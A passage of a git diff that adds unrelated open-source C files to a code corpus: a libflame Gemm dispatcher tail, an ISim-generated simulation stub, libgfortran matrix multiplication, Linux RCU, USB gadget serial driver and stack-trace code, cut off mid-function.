+		r_val = FLA_Gemm_hc_blk_var3( alpha, A, B, beta, C, cntl );
+	}
+#ifdef FLA_ENABLE_NON_CRITICAL_CODE
+	else if ( FLA_Cntl_variant( cntl ) == FLA_BLOCKED_VARIANT4 )
+	{
+		r_val = FLA_Gemm_hc_blk_var4( alpha, A, B, beta, C, cntl );
+	}
+#endif
+	else if ( FLA_Cntl_variant( cntl ) == FLA_BLOCKED_VARIANT5 )
+	{
+		r_val = FLA_Gemm_hc_blk_var5( alpha, A, B, beta, C, cntl );
+	}
+#ifdef FLA_ENABLE_NON_CRITICAL_CODE
+	else if ( FLA_Cntl_variant( cntl ) == FLA_BLOCKED_VARIANT6 )
+	{
+		r_val = FLA_Gemm_hc_blk_var6( alpha, A, B, beta, C, cntl );
+	}
+#endif	
+#ifdef FLA_ENABLE_NON_CRITICAL_CODE
+	else if ( FLA_Cntl_variant( cntl ) == FLA_UNBLOCKED_VARIANT1 )
+	{
+		r_val = FLA_Gemm_hc_unb_var1( alpha, A, B, beta, C );
+	}
+	else if ( FLA_Cntl_variant( cntl ) == FLA_UNBLOCKED_VARIANT2 )
+	{
+		r_val = FLA_Gemm_hc_unb_var2( alpha, A, B, beta, C );
+	}
+	else if ( FLA_Cntl_variant( cntl ) == FLA_UNBLOCKED_VARIANT3 )
+	{
+		r_val = FLA_Gemm_hc_unb_var3( alpha, A, B, beta, C );
+	}
+	else if ( FLA_Cntl_variant( cntl ) == FLA_UNBLOCKED_VARIANT4 )
+	{
+		r_val = FLA_Gemm_hc_unb_var4( alpha, A, B, beta, C );
+	}
+	else if ( FLA_Cntl_variant( cntl ) == FLA_UNBLOCKED_VARIANT5 )
+	{
+		r_val = FLA_Gemm_hc_unb_var5( alpha, A, B, beta, C );
+	}
+	else if ( FLA_Cntl_variant( cntl ) == FLA_UNBLOCKED_VARIANT6 )
+	{
+		r_val = FLA_Gemm_hc_unb_var6( alpha, A, B, beta, C );
+	}
+#endif
+	else
+	{
+		r_val = FLA_Check_error_code( FLA_NOT_YET_IMPLEMENTED );
+	}
+
+	return r_val;
+}
+
diff --git a/pool/shard001/C/0022468_a_3519694068_2693788048.c b/pool/shard001/C/0022468_a_3519694068_2693788048.c
new file mode 100644
index 0000000000000000000000000000000000000000..e89f371247500fc8ee69e0b60f12a4dbb3bce002
--- /dev/null
+++ b/pool/shard001/C/0022468_a_3519694068_2693788048.c
@@ -0,0 +1,120 @@
+/**********************************************************************/
+/*   ____  ____                                                       */
+/*  /   /\/   /                                                       */
+/* /___/  \  /                                                        */
+/* \   \   \/                                                       */
+/*  \   \        Copyright (c) 2003-2009 Xilinx, Inc.                */
+/*  /   /          All Right Reserved.                                 */
+/* /---/   /\                                                         */
+/* \   \  /  \                                                      */
+/*  \___\/\___\                                                    */
+/***********************************************************************/
+
+/* This file is designed for use with ISim build 0x141a37e9 */
+
+#define XSI_HIDE_SYMBOL_SPEC true
+#include "xsi.h"
+#include <memory.h>
+#ifdef __GNUC__
+#include <stdlib.h>
+#else
+#include <malloc.h>
+#define alloca _alloca
+#endif
+extern char *IEEE_P_2592010699;
+
+unsigned char ieee_p_2592010699_sub_1744673427_503743352(char *, char *, unsigned int , unsigned int );
+
+
+static void unisim_a_3519694068_2693788048_p_0(char *t0)
+{
+    char *t1;
+    char *t2;
+    unsigned char t3;
+    char *t4;
+    char *t5;
+    char *t6;
+    char *t7;
+    char *t8;
+
+LAB0:
+LAB3:    t1 = (t0 + 960U);
+    t2 = *((char **)t1);
+    t3 = *((unsigned char *)t2);
+    t1 = (t0 + 2044);
+    t4 = (t1 + 32U);
+    t5 = *((char **)t4);
+    t6 = (t5 + 32U);
+    t7 = *((char **)t6);
+    *((unsigned char *)t7) = t3;
+    xsi_driver_first_trans_fast_port(t1);
+
+LAB2:    t8 = (t0 + 1992);
+    *((int *)t8) = 1;
+
+LAB1:    return;
+LAB4:    goto LAB2;
+
+}
+
+static void unisim_a_3519694068_2693788048_p_1(char *t0)
+{
+    char *t1;
+    unsigned char t2;
+    char *t3;
+    char *t4;
+    unsigned char t5;
+    unsigned char t6;
+    int64 t7;
+    char *t8;
+    unsigned char t9;
+    char *t10;
+    char *t11;
+    char *t12;
+    char *t13;
+    char *t14;
+
+LAB0:    t1 = (t0 + 660U);
+    t2 = ieee_p_2592010699_sub_1744673427_503743352(IEEE_P_2592010699, t1, 0U, 0U);
+    if (t2 != 0)
+        goto LAB2;
+
+LAB4:
+LAB3:    t1 = (t0 + 2000);
+    *((int *)t1) = 1;
+
+LAB1:    return;
+LAB2:    t3 = (t0 + 776U);
+    t4 = *((char **)t3);
+    t5 = *((unsigned char *)t4);
+    t6 = (t5 == (unsigned char)3);
+    if (t6 != 0)
+        goto LAB5;
+
+LAB7:
+LAB6:    goto LAB3;
+
+LAB5:    t7 = (100 * 1LL);
+    t3 = (t0 + 868U);
+    t8 = *((char **)t3);
+    t9 = *((unsigned char *)t8);
+    t3 = (t0 + 2080);
+    t10 = (t3 + 32U);
+    t11 = *((char **)t10);
+    t12 = (t11 + 32U);
+    t13 = *((char **)t12);
+    *((unsigned char *)t13) = t9;
+    xsi_driver_first_trans_delta(t3, 0U, 1, t7);
+    t14 = (t0 + 2080);
+    xsi_driver_intertial_reject(t14, t7, t7);
+    goto LAB6;
+
+}
+
+
+extern void unisim_a_3519694068_2693788048_init()
+{
+	static char *pe[] = {(void *)unisim_a_3519694068_2693788048_p_0,(void *)unisim_a_3519694068_2693788048_p_1};
+	xsi_register_didat("unisim_a_3519694068_2693788048", "isim/RDM_isim_beh.exe.sim/unisim/a_3519694068_2693788048.didat");
+	xsi_register_executes(pe);
+}
diff --git a/pool/shard001/C/0022476_matmul_r4.c b/pool/shard001/C/0022476_matmul_r4.c
new file mode 100644
index 0000000000000000000000000000000000000000..7d111369b12ddb88ac00665c16abfefc99febdb2
--- /dev/null
+++ b/pool/shard001/C/0022476_matmul_r4.c
@@ -0,0 +1,168 @@
+/* Implementation of the MATMUL intrinsic
+   Copyright 2002 Free Software Foundation, Inc.
+   Contributed by Paul Brook <paul@nowt.org>
+
+This file is part of the GNU Fortran 95 runtime library (libgfortran).
+
+Libgfortran is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+Libgfortran is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with libgfor; see the file COPYING.LIB.  If not,
+write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+Boston, MA 02111-1307, USA.  */
+
+#include "config.h"
+#include <stdlib.h>
+#include <assert.h>
+#include "libgfortran.h"
+
+/* Dimensions: retarray(x,y) a(x, count) b(count,y).
+   Either a or b can be rank 1.  In this case x or y is 1.  */
+void
+__matmul_r4 (gfc_array_r4 * retarray, gfc_array_r4 * a, gfc_array_r4 * b)
+{
+  GFC_REAL_4 *abase;
+  GFC_REAL_4 *bbase;
+  GFC_REAL_4 *dest;
+  GFC_REAL_4 res;
+  index_type rxstride;
+  index_type rystride;
+  index_type xcount;
+  index_type ycount;
+  index_type xstride;
+  index_type ystride;
+  index_type x;
+  index_type y;
+
+  GFC_REAL_4 *pa;
+  GFC_REAL_4 *pb;
+  index_type astride;
+  index_type bstride;
+  index_type count;
+  index_type n;
+
+  assert (GFC_DESCRIPTOR_RANK (a) == 2
+          || GFC_DESCRIPTOR_RANK (b) == 2);
+
+  if (retarray->data == NULL)
+    {
+      if (GFC_DESCRIPTOR_RANK (a) == 1)
+        {
+          retarray->dim[0].lbound = 0;
+          retarray->dim[0].ubound = b->dim[1].ubound - b->dim[1].lbound;
+          retarray->dim[0].stride = 1;
+        }
+      else if (GFC_DESCRIPTOR_RANK (b) == 1)
+        {
+          retarray->dim[0].lbound = 0;
+          retarray->dim[0].ubound = a->dim[0].ubound - a->dim[0].lbound;
+          retarray->dim[0].stride = 1;
+        }
+      else
+        {
+          retarray->dim[0].lbound = 0;
+          retarray->dim[0].ubound = a->dim[0].ubound - a->dim[0].lbound;
+          retarray->dim[0].stride = 1;
+          
+          retarray->dim[1].lbound = 0;
+          retarray->dim[1].ubound = b->dim[1].ubound - b->dim[1].lbound;
+          retarray->dim[1].stride = retarray->dim[0].ubound+1;
+        }
+          
+      retarray->data = internal_malloc (sizeof (GFC_REAL_4) * size0 (retarray));
+      retarray->base = 0;
+    }
+
+  abase = a->data;
+  bbase = b->data;
+  dest = retarray->data;
+
+  if (retarray->dim[0].stride == 0)
+    retarray->dim[0].stride = 1;
+  if (a->dim[0].stride == 0)
+    a->dim[0].stride = 1;
+  if (b->dim[0].stride == 0)
+    b->dim[0].stride = 1;
+
+
+  if (GFC_DESCRIPTOR_RANK (retarray) == 1)
+    {
+      rxstride = retarray->dim[0].stride;
+      rystride = rxstride;
+    }
+  else
+    {
+      rxstride = retarray->dim[0].stride;
+      rystride = retarray->dim[1].stride;
+    }
+
+  /* If we have rank 1 parameters, zero the absent stride, and set the size to
+     one.  */
+  if (GFC_DESCRIPTOR_RANK (a) == 1)
+    {
+      astride = a->dim[0].stride;
+      count = a->dim[0].ubound + 1 - a->dim[0].lbound;
+      xstride = 0;
+      rxstride = 0;
+      xcount = 1;
+    }
+  else
+    {
+      astride = a->dim[1].stride;
+      count = a->dim[1].ubound + 1 - a->dim[1].lbound;
+      xstride = a->dim[0].stride;
+      xcount = a->dim[0].ubound + 1 - a->dim[0].lbound;
+    }
+  if (GFC_DESCRIPTOR_RANK (b) == 1)
+    {
+      bstride = b->dim[0].stride;
+      assert(count == b->dim[0].ubound + 1 - b->dim[0].lbound);
+      ystride = 0;
+      rystride = 0;
+      ycount = 1;
+    }
+  else
+    {
+      bstride = b->dim[0].stride;
+      assert(count == b->dim[0].ubound + 1 - b->dim[0].lbound);
+      ystride = b->dim[1].stride;
+      ycount = b->dim[1].ubound + 1 - b->dim[1].lbound;
+    }
+
+  for (y = 0; y < ycount; y++)
+    {
+      for (x = 0; x < xcount; x++)
+        {
+          /* Do the summation for this element.  For real and integer types
+             this is the same as DOT_PRODUCT.  For complex types we use do
+             a*b, not conjg(a)*b.  */
+          pa = abase;
+          pb = bbase;
+          res = 0;
+
+          for (n = 0; n < count; n++)
+            {
+              res += *pa * *pb;
+              pa += astride;
+              pb += bstride;
+            }
+
+          *dest = res;
+
+          dest += rxstride;
+          abase += xstride;
+        }
+      abase -= xstride * xcount;
+      bbase += ystride;
+      dest += rystride - (rxstride * xcount);
+    }
+}
+
diff --git a/pool/shard001/C/0022479_rcupdate.c b/pool/shard001/C/0022479_rcupdate.c
new file mode 100644
index 0000000000000000000000000000000000000000..fecb288f35272eb75616e02350f3afb41ebc39fd
--- /dev/null
+++ b/pool/shard001/C/0022479_rcupdate.c
@@ -0,0 +1,203 @@
+/*
+ * Read-Copy Update mechanism for mutual exclusion
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+ *
+ * Copyright IBM Corporation, 2001
+ *
+ * Authors: Dipankar Sarma <dipankar@in.ibm.com>
+ *	    Manfred Spraul <manfred@colorfullife.com>
+ *
+ * Based on the original work by Paul McKenney <paulmck@us.ibm.com>
+ * and inputs from Rusty Russell, Andrea Arcangeli and Andi Kleen.
+ * Papers:
+ * http://www.rdrop.com/users/paulmck/paper/rclockpdcsproof.pdf
+ * http://lse.sourceforge.net/locking/rclock_OLS.2001.05.01c.sc.pdf (OLS2001)
+ *
+ * For detailed explanation of Read-Copy Update mechanism see -
+ *		http://lse.sourceforge.net/locking/rcupdate.html
+ *
+ */
+#include <linux/types.h>
+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/spinlock.h>
+#include <linux/smp.h>
+#include <linux/interrupt.h>
+#include <linux/sched.h>
+#include <asm/atomic.h>
+#include <linux/bitops.h>
+#include <linux/percpu.h>
+#include <linux/notifier.h>
+#include <linux/cpu.h>
+#include <linux/mutex.h>
+#include <linux/module.h>
+#include <linux/kernel_stat.h>
+
+#ifdef CONFIG_DEBUG_LOCK_ALLOC
+static struct lock_class_key rcu_lock_key;
+struct lockdep_map rcu_lock_map =
+	STATIC_LOCKDEP_MAP_INIT("rcu_read_lock", &rcu_lock_key);
+EXPORT_SYMBOL_GPL(rcu_lock_map);
+
+static struct lock_class_key rcu_bh_lock_key;
+struct lockdep_map rcu_bh_lock_map =
+	STATIC_LOCKDEP_MAP_INIT("rcu_read_lock_bh", &rcu_bh_lock_key);
+EXPORT_SYMBOL_GPL(rcu_bh_lock_map);
+
+static struct lock_class_key rcu_sched_lock_key;
+struct lockdep_map rcu_sched_lock_map =
+	STATIC_LOCKDEP_MAP_INIT("rcu_read_lock_sched", &rcu_sched_lock_key);
+EXPORT_SYMBOL_GPL(rcu_sched_lock_map);
+#endif
+
+#ifndef CONFIG_JRCU
+int rcu_scheduler_active __read_mostly;
+#endif
+
+/*
+ * Awaken the corresponding synchronize_rcu() instance now that a
+ * grace period has elapsed.
+ */
+void wakeme_after_rcu(struct rcu_head  *head)
+{
+	struct rcu_synchronize *rcu;
+
+	rcu = container_of(head, struct rcu_synchronize, head);
+	complete(&rcu->completion);
+}
+
+#ifdef CONFIG_TREE_PREEMPT_RCU
+
+/**
+ * synchronize_rcu - wait until a grace period has elapsed.
+ *
+ * Control will return to the caller some time after a full grace
+ * period has elapsed, in other words after all currently executing RCU
+ * read-side critical sections have completed.  RCU read-side critical
+ * sections are delimited by rcu_read_lock() and rcu_read_unlock(),
+ * and may be nested.
+ */
+void synchronize_rcu(void)
+{
+	struct rcu_synchronize rcu;
+
+	if (!rcu_scheduler_active)
+		return;
+
+	init_completion(&rcu.completion);
+	/* Will wake me after RCU finished. */
+	call_rcu(&rcu.head, wakeme_after_rcu);
+	/* Wait for it. */
+	wait_for_completion(&rcu.completion);
+}
+EXPORT_SYMBOL_GPL(synchronize_rcu);
+
+#endif /* #ifdef CONFIG_TREE_PREEMPT_RCU */
+
+#ifndef CONFIG_JRCU
+
+/**
+ * synchronize_sched - wait until an rcu-sched grace period has elapsed.
+ *
+ * Control will return to the caller some time after a full rcu-sched
+ * grace period has elapsed, in other words after all currently executing
+ * rcu-sched read-side critical sections have completed.   These read-side
+ * critical sections are delimited by rcu_read_lock_sched() and
+ * rcu_read_unlock_sched(), and may be nested.  Note that preempt_disable(),
+ * local_irq_disable(), and so on may be used in place of
+ * rcu_read_lock_sched().
+ *
+ * This means that all preempt_disable code sequences, including NMI and
+ * hardware-interrupt handlers, in progress on entry will have completed
+ * before this primitive returns.  However, this does not guarantee that
+ * softirq handlers will have completed, since in some kernels, these
+ * handlers can run in process context, and can block.
+ *
+ * This primitive provides the guarantees made by the (now removed)
+ * synchronize_kernel() API.  In contrast, synchronize_rcu() only
+ * guarantees that rcu_read_lock() sections will have completed.
+ * In "classic RCU", these two guarantees happen to be one and
+ * the same, but can differ in realtime RCU implementations.
+ */
+void synchronize_sched(void)
+{
+	struct rcu_synchronize rcu;
+
+	if (rcu_blocking_is_gp())
+		return;
+
+	init_completion(&rcu.completion);
+	/* Will wake me after RCU finished. */
+	call_rcu_sched(&rcu.head, wakeme_after_rcu);
+	/* Wait for it. */
+	wait_for_completion(&rcu.completion);
+}
+EXPORT_SYMBOL_GPL(synchronize_sched);
+
+/**
+ * synchronize_rcu_bh - wait until an rcu_bh grace period has elapsed.
+ *
+ * Control will return to the caller some time after a full rcu_bh grace
+ * period has elapsed, in other words after all currently executing rcu_bh
+ * read-side critical sections have completed.  RCU read-side critical
+ * sections are delimited by rcu_read_lock_bh() and rcu_read_unlock_bh(),
+ * and may be nested.
+ */
+void synchronize_rcu_bh(void)
+{
+	struct rcu_synchronize rcu;
+
+	if (rcu_blocking_is_gp())
+		return;
+
+	init_completion(&rcu.completion);
+	/* Will wake me after RCU finished. */
+	call_rcu_bh(&rcu.head, wakeme_after_rcu);
+	/* Wait for it. */
+	wait_for_completion(&rcu.completion);
+}
+EXPORT_SYMBOL_GPL(synchronize_rcu_bh);
+
+static int __cpuinit rcu_barrier_cpu_hotplug(struct notifier_block *self,
+		unsigned long action, void *hcpu)
+{
+	return rcu_cpu_notify(self, action, hcpu);
+}
+
+void __init rcu_init(void)
+{
+	int i;
+
+	__rcu_init();
+	cpu_notifier(rcu_barrier_cpu_hotplug, 0);
+
+	/*
+	 * We don't need protection against CPU-hotplug here because
+	 * this is called early in boot, before either interrupts
+	 * or the scheduler are operational.
+	 */
+	for_each_online_cpu(i)
+		rcu_barrier_cpu_hotplug(NULL, CPU_UP_PREPARE, (void *)(long)i);
+}
+
+void rcu_scheduler_starting(void)
+{
+	WARN_ON(num_online_cpus() != 1);
+	WARN_ON(nr_context_switches() > 0);
+	rcu_scheduler_active = 1;
+}
+
+#endif /* CONFIG_JRCU */
diff --git a/pool/shard001/C/0022484_serial.c b/pool/shard001/C/0022484_serial.c
new file mode 100644
index 0000000000000000000000000000000000000000..f46a60962dab72bd03fa83b9a79325369040c8bc
--- /dev/null
+++ b/pool/shard001/C/0022484_serial.c
@@ -0,0 +1,283 @@
+/*
+ * serial.c -- USB gadget serial driver
+ *
+ * Copyright (C) 2003 Al Borchers (alborchers@steinerpoint.com)
+ * Copyright (C) 2008 by David Brownell
+ * Copyright (C) 2008 by Nokia Corporation
+ *
+ * This software is distributed under the terms of the GNU General
+ * Public License ("GPL") as published by the Free Software Foundation,
+ * either version 2 of that License or (at your option) any later version.
+ */
+
+#include <linux/kernel.h>
+#include <linux/utsname.h>
+#include <linux/device.h>
+#include <linux/tty.h>
+#include <linux/tty_flip.h>
+
+#include "u_serial.h"
+#include "gadget_chips.h"
+
+
+/* Defines */
+
+#define GS_VERSION_STR			"v2.4"
+#define GS_VERSION_NUM			0x2400
+
+#define GS_LONG_NAME			"Gadget Serial"
+#define GS_VERSION_NAME			GS_LONG_NAME " " GS_VERSION_STR
+
+/*-------------------------------------------------------------------------*/
+
+/*
+ * Kbuild is not very cooperative with respect to linking separately
+ * compiled library objects into one module.  So for now we won't use
+ * separate compilation ... ensuring init/exit sections work to shrink
+ * the runtime footprint, and giving us at least some parts of what
+ * a "gcc --combine ... part1.c part2.c part3.c ... " build would.
+ */
+#include "composite.c"
+#include "usbstring.c"
+#include "config.c"
+#include "epautoconf.c"
+
+#include "f_acm.c"
+#include "f_obex.c"
+#include "f_serial.c"
+#include "u_serial.c"
+
+/*-------------------------------------------------------------------------*/
+
+/* Thanks to NetChip Technologies for donating this product ID.
+*
+* DO NOT REUSE THESE IDs with a protocol-incompatible driver!!  Ever!!
+* Instead:  allocate your own, using normal USB-IF procedures.
+*/
+#define GS_VENDOR_ID			0x0525	/* NetChip */
+#define GS_PRODUCT_ID			0xa4a6	/* Linux-USB Serial Gadget */
+#define GS_CDC_PRODUCT_ID		0xa4a7	/* ... as CDC-ACM */
+#define GS_CDC_OBEX_PRODUCT_ID		0xa4a9	/* ... as CDC-OBEX */
+
+/* string IDs are assigned dynamically */
+
+#define STRING_MANUFACTURER_IDX		0
+#define STRING_PRODUCT_IDX		1
+#define STRING_DESCRIPTION_IDX		2
+
+static char manufacturer[50];
+
+static struct usb_string strings_dev[] = {
+	[STRING_MANUFACTURER_IDX].s = manufacturer,
+	[STRING_PRODUCT_IDX].s = GS_VERSION_NAME,
+	[STRING_DESCRIPTION_IDX].s = NULL /* updated; f(use_acm) */,
+	{  } /* end of list */
+};
+
+static struct usb_gadget_strings stringtab_dev = {
+	.language	= 0x0409,	/* en-us */
+	.strings	= strings_dev,
+};
+
+static struct usb_gadget_strings *dev_strings[] = {
+	&stringtab_dev,
+	NULL,
+};
+
+static struct usb_device_descriptor device_desc = {
+	.bLength =		USB_DT_DEVICE_SIZE,
+	.bDescriptorType =	USB_DT_DEVICE,
+	.bcdUSB =		cpu_to_le16(0x0200),
+	/* .bDeviceClass = f(use_acm) */
+	.bDeviceSubClass =	0,
+	.bDeviceProtocol =	0,
+	/* .bMaxPacketSize0 = f(hardware) */
+	.idVendor =		cpu_to_le16(GS_VENDOR_ID),
+	/* .idProduct =	f(use_acm) */
+	/* .bcdDevice = f(hardware) */
+	/* .iManufacturer = DYNAMIC */
+	/* .iProduct = DYNAMIC */
+	.bNumConfigurations =	1,
+};
+
+static struct usb_otg_descriptor otg_descriptor = {
+	.bLength =		sizeof otg_descriptor,
+	.bDescriptorType =	USB_DT_OTG,
+
+	/* REVISIT SRP-only hardware is possible, although
+	 * it would not be called "OTG" ...
+	 */
+	.bmAttributes =		USB_OTG_SRP | USB_OTG_HNP,
+};
+
+static const struct usb_descriptor_header *otg_desc[] = {
+	(struct usb_descriptor_header *) &otg_descriptor,
+	NULL,
+};
+
+/*-------------------------------------------------------------------------*/
+
+/* Module */
+MODULE_DESCRIPTION(GS_VERSION_NAME);
+MODULE_AUTHOR("Al Borchers");
+MODULE_AUTHOR("David Brownell");
+MODULE_LICENSE("GPL");
+
+static int use_acm = true;
+module_param(use_acm, bool, 0);
+MODULE_PARM_DESC(use_acm, "Use CDC ACM, default=yes");
+
+static int use_obex = false;
+module_param(use_obex, bool, 0);
+MODULE_PARM_DESC(use_obex, "Use CDC OBEX, default=no");
+
+static unsigned n_ports = 1;
+module_param(n_ports, uint, 0);
+MODULE_PARM_DESC(n_ports, "number of ports to create, default=1");
+
+/*-------------------------------------------------------------------------*/
+
+static int __init serial_bind_config(struct usb_configuration *c)
+{
+	unsigned i;
+	int status = 0;
+
+	for (i = 0; i < n_ports && status == 0; i++) {
+		if (use_acm)
+			status = acm_bind_config(c, i);
+		else if (use_obex)
+			status = obex_bind_config(c, i);
+		else
+			status = gser_bind_config(c, i);
+	}
+	return status;
+}
+
+static struct usb_configuration serial_config_driver = {
+	/* .label = f(use_acm) */
+	.bind		= serial_bind_config,
+	/* .bConfigurationValue = f(use_acm) */
+	/* .iConfiguration = DYNAMIC */
+	.bmAttributes	= USB_CONFIG_ATT_SELFPOWER,
+};
+
+static int __init gs_bind(struct usb_composite_dev *cdev)
+{
+	int			gcnum;
+	struct usb_gadget	*gadget = cdev->gadget;
+	int			status;
+
+	status = gserial_setup(cdev->gadget, n_ports);
+	if (status < 0)
+		return status;
+
+	/* Allocate string descriptor numbers ... note that string
+	 * contents can be overridden by the composite_dev glue.
+	 */
+
+	/* device description: manufacturer, product */
+	snprintf(manufacturer, sizeof manufacturer, "%s %s with %s",
+		init_utsname()->sysname, init_utsname()->release,
+		gadget->name);
+	status = usb_string_id(cdev);
+	if (status < 0)
+		goto fail;
+	strings_dev[STRING_MANUFACTURER_IDX].id = status;
+
+	device_desc.iManufacturer = status;
+
+	status = usb_string_id(cdev);
+	if (status < 0)
+		goto fail;
+	strings_dev[STRING_PRODUCT_IDX].id = status;
+
+	device_desc.iProduct = status;
+
+	/* config description */
+	status = usb_string_id(cdev);
+	if (status < 0)
+		goto fail;
+	strings_dev[STRING_DESCRIPTION_IDX].id = status;
+
+	serial_config_driver.iConfiguration = status;
+
+	/* set up other descriptors */
+	gcnum = usb_gadget_controller_number(gadget);
+	if (gcnum >= 0)
+		device_desc.bcdDevice = cpu_to_le16(GS_VERSION_NUM | gcnum);
+	else {
+		/* this is so simple (for now, no altsettings) that it
+		 * SHOULD NOT have problems with bulk-capable hardware.
+		 * so warn about unrcognized controllers -- don't panic.
+		 *
+		 * things like configuration and altsetting numbering
+		 * can need hardware-specific attention though.
+		 */
+		pr_warning("gs_bind: controller '%s' not recognized\n",
+			gadget->name);
+		device_desc.bcdDevice =
+			cpu_to_le16(GS_VERSION_NUM | 0x0099);
+	}
+
+	if (gadget_is_otg(cdev->gadget)) {
+		serial_config_driver.descriptors = otg_desc;
+		serial_config_driver.bmAttributes |= USB_CONFIG_ATT_WAKEUP;
+	}
+
+	/* register our configuration */
+	status = usb_add_config(cdev, &serial_config_driver);
+	if (status < 0)
+		goto fail;
+
+	INFO(cdev, "%s\n", GS_VERSION_NAME);
+
+	return 0;
+
+fail:
+	gserial_cleanup();
+	return status;
+}
+
+static struct usb_composite_driver gserial_driver = {
+	.name		= "g_serial",
+	.dev		= &device_desc,
+	.strings	= dev_strings,
+	.bind		= gs_bind,
+};
+
+static int __init init(void)
+{
+	/* We *could* export two configs; that'd be much cleaner...
+	 * but neither of these product IDs was defined that way.
+	 */
+	if (use_acm) {
+		serial_config_driver.label = "CDC ACM config";
+		serial_config_driver.bConfigurationValue = 2;
+		device_desc.bDeviceClass = USB_CLASS_COMM;
+		device_desc.idProduct =
+				cpu_to_le16(GS_CDC_PRODUCT_ID);
+	} else if (use_obex) {
+		serial_config_driver.label = "CDC OBEX config";
+		serial_config_driver.bConfigurationValue = 3;
+		device_desc.bDeviceClass = USB_CLASS_COMM;
+		device_desc.idProduct =
+			cpu_to_le16(GS_CDC_OBEX_PRODUCT_ID);
+	} else {
+		serial_config_driver.label = "Generic Serial config";
+		serial_config_driver.bConfigurationValue = 1;
+		device_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
+		device_desc.idProduct =
+				cpu_to_le16(GS_PRODUCT_ID);
+	}
+	strings_dev[STRING_DESCRIPTION_IDX].s = serial_config_driver.label;
+
+	return usb_composite_register(&gserial_driver);
+}
+module_init(init);
+
+static void __exit cleanup(void)
+{
+	usb_composite_unregister(&gserial_driver);
+	gserial_cleanup();
+}
+module_exit(cleanup);
diff --git a/pool/shard001/C/0022487_stacktrace.c b/pool/shard001/C/0022487_stacktrace.c
new file mode 100644
index 0000000000000000000000000000000000000000..6515733a289d858fde792d8db8f35bca3cad503d
--- /dev/null
+++ b/pool/shard001/C/0022487_stacktrace.c
@@ -0,0 +1,159 @@
+/*
+ * Stack trace management functions
+ *
+ *  Copyright (C) 2006-2009 Red Hat, Inc., Ingo Molnar <mingo@redhat.com>
+ */
+#include <linux/sched.h>
+#include <linux/stacktrace.h>
+#include <linux/module.h>
+#include <linux/uaccess.h>
+#include <asm/stacktrace.h>
+
+static void save_stack_warning(void *data, char *msg)
+{
+}
+
+static void
+save_stack_warning_symbol(void *data, char *msg, unsigned long symbol)
+{
+}
+
+static int save_stack_stack(void *data, char *name)
+{
+	return 0;
+}
+
+static void
+__save_stack_address(void *data, unsigned long addr, bool reliable, bool nosched)
+{
+	struct stack_trace *trace = data;
+#ifdef CONFIG_FRAME_POINTER
+	if (!reliable)
+		return;
+#endif
+	if (nosched && in_sched_functions(addr))
+		return;
+	if (trace->skip > 0) {
+		trace->skip--;
+		return;
+	}
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = addr;
+}
+
+static void save_stack_address(void *data, unsigned long addr, int reliable)
+{
+	return __save_stack_address(data, addr, reliable, false);
+}
+
+static void
+save_stack_address_nosched(void *data, unsigned long addr, int reliable)
+{
+	return __save_stack_address(data, addr, reliable, true);
+}
+
+static const struct stacktrace_ops save_stack_ops = {
+	.warning	= save_stack_warning,
+	.warning_symbol	= save_stack_warning_symbol,
+	.stack		= save_stack_stack,
+	.address	= save_stack_address,
+	.walk_stack	= print_context_stack,
+};
+
+static const struct stacktrace_ops save_stack_ops_nosched = {
+	.warning	= save_stack_warning,
+	.warning_symbol	= save_stack_warning_symbol,
+	.stack		= save_stack_stack,
+	.address	= save_stack_address_nosched,
+	.walk_stack	= print_context_stack,
+};
+
+/*
+ * Save stack-backtrace addresses into a stack_trace buffer.
+ */
+void save_stack_trace(struct stack_trace *trace)
+{
+	dump_trace(current, NULL, NULL, 0, &save_stack_ops, trace);
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = ULONG_MAX;
+}
+EXPORT_SYMBOL_GPL(save_stack_trace);
+
+void save_stack_trace_regs(struct stack_trace *trace, struct pt_regs *regs)
+{
+	dump_trace(current, regs, NULL, 0, &save_stack_ops, trace);
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = ULONG_MAX;
+}
+
+void save_stack_trace_tsk(struct task_struct *tsk, struct stack_trace *trace)
+{
+	dump_trace(tsk, NULL, NULL, 0, &save_stack_ops_nosched, trace);
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = ULONG_MAX;
+}
+EXPORT_SYMBOL_GPL(save_stack_trace_tsk);
+
+/* Userspace stacktrace - based on kernel/trace/trace_sysprof.c */
+
+struct stack_frame_user {
+	const void __user	*next_fp;
+	unsigned long		ret_addr;
+};
+
+static int
+copy_stack_frame(const void __user *fp, struct stack_frame_user *frame)
+{
+	int ret;
+
+	if (!access_ok(VERIFY_READ, fp, sizeof(*frame)))
+		return 0;
+
+	ret = 1;
+	pagefault_disable();
+	if (__copy_from_user_inatomic(frame, fp, sizeof(*frame)))
+		ret = 0;
+	pagefault_enable();
+
+	return ret;
+}
+
+static inline void __save_stack_trace_user(struct stack_trace *trace)
+{
+	const struct pt_regs *regs = task_pt_regs(current);
+	const void __user *fp = (const void __user *)regs->bp;
+
+	if (trace->nr_entries < trace->max_entries)
+		trace->entries[trace->nr_entries++] = regs->ip;
+
+	while (trace->nr_entries < trace->max_entries) {
+		struct stack_frame_user frame;
+
+		frame.next_fp = NULL;
+		frame.ret_addr = 0;
+		if (!copy_stack_frame(fp, &frame))
+			break;
+		if ((unsigned long)fp < regs->sp)
+			break;
+		if (frame.ret_addr) {
